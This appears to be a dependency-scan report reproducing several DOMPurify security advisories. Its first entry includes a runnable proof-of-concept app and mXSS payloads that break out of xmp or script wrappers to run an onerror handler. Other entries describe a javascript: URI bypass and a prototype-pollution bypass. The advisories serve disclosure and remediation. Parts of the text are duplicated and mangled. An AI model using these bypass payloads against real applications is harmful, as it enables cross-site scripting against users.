Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). **## Vulnerability** The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). **## PoC** 1. Start the PoC app: `bash npm install npm start` 2. Open `http://localhost:3001`. 3. Set 'Wrapper en sink' to `xmp`. 4. Use payload: `html <img src=x alt="</xmp>` 5. Click 'Sanitize + Render'. 6. Observe: - 'Sanitized response' still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include ``. - `alert('expoc')` is triggered. 7. Files: - index.html `html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="`


```

textarea">textarea</option> <option value="title">title</option> <option value="style"
>style</option> <option value="script" selected>script</option> <option value="xmp"
>xmp</option> <option value="iframe">iframe</option> <option value="noembed"
>noembed</option> <option value="noframes">noframes</option> <option value="
noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;">
<button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note"
>Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;
/wrapper&gt;';</code>.</p> <div class="status-grid"> <div class="status-item vuln">script
(vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="
status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed
(vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div
class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div
(no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div
class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style
(no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized
response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card">
<label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const
payload = document.getElementById('payload'); const wrapper = document.
getElementById('wrapper'); const run = document.getElementById('run'); const
sanitizedNode = document.getElementById('sanitized'); const sink = document.
getElementById('sink'); run.addEventListener('click', async () => { const response = await
fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body:
JSON.stringify({ input: payload.value }) }); const data = await response.json(); const
sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent =
sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>'; }); </script> </body> <
/html> ``` - server.js ```js const express = require('express'); const path = require('path');
const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const
app = express(); const port = process.env.PORT || 3001; const window = new JSDOM("").
window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(
express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({
ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.
body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized }); }); app.listen(port, () => { console.log('expoc running at
http://localhost:${port}'); }); ``` - package.json ```json { "name": "expoc", "version":
"1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit
1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "",
"license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express":
"^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com
/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered  ## Why This Happens This is a
mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization
phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase):
sanitized output is embedded into a wrapper that changes parser state ( `xmp` raw-text
behavior). - Attacker-controlled sequence ( `</xmp>` ) gains structural meaning in parse 2
and alters DOM structure. Sanitization is not a universal guarantee across all future
parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not
concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep
the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs ( `textContent`,
`createElement`, `setAttribute` ) over string-based HTML composition. 4. If HTML insertion
is required, sanitize as close as possible to final insertion context and avoid wrapper
constructs with raw-text semantics ( `xmp`, `script`, etc.). 5. Add regression tests for
context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout
markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera
and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-
Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy]
(https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability
and the conditions outlined in the policy are met, this advisory will be published on the
website over the next few days (the timeline may vary depending on maintainers'
willingness to attend to and respond to this report) at the following URL:
https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.
com/caverav/) and [Cristian Vargas](https://github.com/tachote). (RETIREJS) suppressed

```

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new

parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `

PoC

1. Start the PoC app:

```
```bash
npm install
npm start
```
```

2. Open `http://localhost:3001`.

3. Set `Wrapper en sink` to `xmp`.

4. Use payload:

```
```html
<img src=x alt="</xmp>">
```
```

5. Click `Sanitize + Render`.

6. Observe:

- `Sanitized response` still contains the `- The sink reparses to include `

7. Files:

- index.html

```
```html
<!doctype html>
<html lang="en">
<head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <title>expoc - DOMPurify SSR PoC</title>
<style>
 :root {
 --bg: #f7f8fb;
 --panel: #ffffff;
 --line: #d8dce6;
 --text: #0f172a;
 --muted: #475569;
 --accent: #0ea5e9;
 }

 * {
 box-sizing: border-box;
 }

 body {
 margin: 0;
 font-family: "SF Mono", Menlo, Consolas, monospace;
 color: var(--text);
 background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
 }
```
```

```
main {
  max-width: 980px;
  margin: 28px auto;
  padding: 0 16px 20px;
}

h1 {
  margin: 0 0 10px;
  font-size: 1.45rem;
}

p {
  margin: 0;
  color: var(--muted);
}

.grid {
  display: grid;
  gap: 14px;
  margin-top: 16px;
}

.card {
  background: var(--panel);
  border: 1px solid var(--line);
  border-radius: 12px;
  padding: 14px;
}

label {
  display: block;
  margin-bottom: 7px;
  font-size: 0.85rem;
  color: var(--muted);
}

textarea,
input,
select,
button {
  width: 100%;
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 9px 10px;
  font: inherit;
  background: #fff;
}

textarea {
  min-height: 110px;
  resize: vertical;
}

.row {
  display: grid;
  grid-template-columns: 1fr 230px;
  gap: 12px;
}

button {
  cursor: pointer;
  background: var(--accent);
  color: #fff;
  border-color: #0284c7;
}

#sink {
  min-height: 90px;
```

```

border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}

pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}

.note {
margin-top: 8px;
font-size: 0.85rem;
}

.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}

.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}

.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}

.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}

@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con
innerHTML.
</p>

<div class="grid">
<section class="card">
<label for="payload">Payload</label>
<textarea id="payload"><img src=x alt=""</script><img src=x onerror=alert('expoc')></>
</textarea>
<div class="row" style="margin-top: 10px;">
<div>
<label for="wrapper">Wrapper en sink</label>
<select id="wrapper">
<option value="div">div</option>
<option value="textarea">textarea</option>

```

```

        <option value="title">title</option>
        <option value="style">style</option>
        <option value="script" selected>script</option>
        <option value="xmp">xmp</option>
        <option value="iframe">iframe</option>
        <option value="noembed">noembed</option>
        <option value="noframes">noframes</option>
        <option value="noscript">noscript</option>
    </select>
</div>
<div style="display:flex;align-items:end;">
    <button id="run" type="button">Sanitize + Render</button>
</div>
</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' +
sanitized + '&lt;/wrapper&gt;';</code>.</p>
<div class="status-grid">
    <div class="status-item vuln">script (vulnerable)</div>
    <div class="status-item vuln">xmp (vulnerable)</div>
    <div class="status-item vuln">iframe (vulnerable)</div>
    <div class="status-item vuln">noembed (vulnerable)</div>
    <div class="status-item vuln">noframes (vulnerable)</div>
    <div class="status-item vuln">noscript (vulnerable)</div>
    <div class="status-item safe">div (no vulnerable)</div>
    <div class="status-item safe">textarea (no vulnerable)</div>
    <div class="status-item safe">title (no vulnerable)</div>
    <div class="status-item safe">style (no vulnerable)</div>
</div>
</section>

<section class="card">
    <label>Sanitized response</label>
    <pre id="sanitized">(empty)</pre>
</section>

<section class="card">
    <label>Sink</label>
    <div id="sink"></div>
</section>
</div>
</main>

<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');

run.addEventListener('click', async () => {
    const response = await fetch('/sanitize', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ input: payload.value })
    });

    const data = await response.json();
    const sanitized = data.sanitized || '';
    const w = wrapper.value;

    sanitizedNode.textContent = sanitized;
    sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>';
});
</script>
</body>
</html>

```

- server.js

```
```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
 res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
 const input = typeof req.body?.input === 'string' ? req.body.input : "";
 const sanitized = DOMPurify.sanitize(input);
 res.json({ sanitized });
});

app.listen(port, () => {
 console.log(`expoc running at http://localhost:${port}`);
});
```
```

- package.json

```
```json
{
 "name": "expoc",
 "version": "1.0.0",
 "main": "server.js",
 "scripts": {
 "test": "echo \"Error: no test specified\" && exit 1",
 "start": "node server.js",
 "dev": "node server.js"
 },
 "keywords": [],
 "author": "",
 "license": "ISC",
 "description": "",
 "dependencies": {
 "dompurify": "^3.3.1",
 "express": "^5.2.1",
 "jsdom": "^28.1.0"
 }
}
```
```

Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft>

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Vulnerable Software & Versions (RETIREJS):

Summary DOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `[## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. **## Credits** Identified by Cantina's Apex \(<https://www.cantina.security>\). \(RETIREJS\) suppressed](javascript:alert(document.domain))

Summary

DOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `

PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Vulnerable Software & Versions (RETIREJS):

Summary In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation. The condition: ``!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])`` When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first: ``if (FORBID_ATTR[lcName]) { continue; }`` For tags, FORBID should also take precedence over ADD. **## Impact** Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check `FORBID_TAGS` before `tagCheck`: ``if (FORBID_TAGS[tagName]) { /* remove */ } else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }`` **## Affected Version v3.3.3 (commit 883ac15) (RETIREJS)**
suppressed

Summary

In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.

The condition:

```
``
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
``
```

When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:

```
``
if (FORBID_ATTR[lcName]) { continue; }
``
```

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check `FORBID_TAGS` before `tagCheck`:

```
``
if (FORBID_TAGS[tagName]) { /* remove */ }
``
```



```
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }  
...
```

Affected Version
v3.3.3 (commit 883ac15)

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-39q2-94rc-95cp
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Vulnerable Software & Versions (RETIREJS):

Summary When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. **## Impact** Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. **## Credits** Identified by Cantina's Apex (<https://www.cantina.security>). (RETIREJS) suppressed

Summary

When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cj63-jhhr-wcxv
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

Vulnerable Software & Versions (RETIREJS):

CVE-2026-41238 (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

Vulnerable Software & Versions (RETIREJS):

CVE-2026-41239 (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

Vulnerable Software & Versions (RETIREJS):

This report contains data retrieved from the [National Vulnerability Database](#).

This report may contain data retrieved from the [CISA Known Exploited Vulnerability Catalog](#).

This report may contain data retrieved from the [Github Advisory Database \(via NPM Audit API\)](#).

This report may contain data retrieved from [RetireJS](#).

This report may contain data retrieved from the [Sonatype OSS Index](#).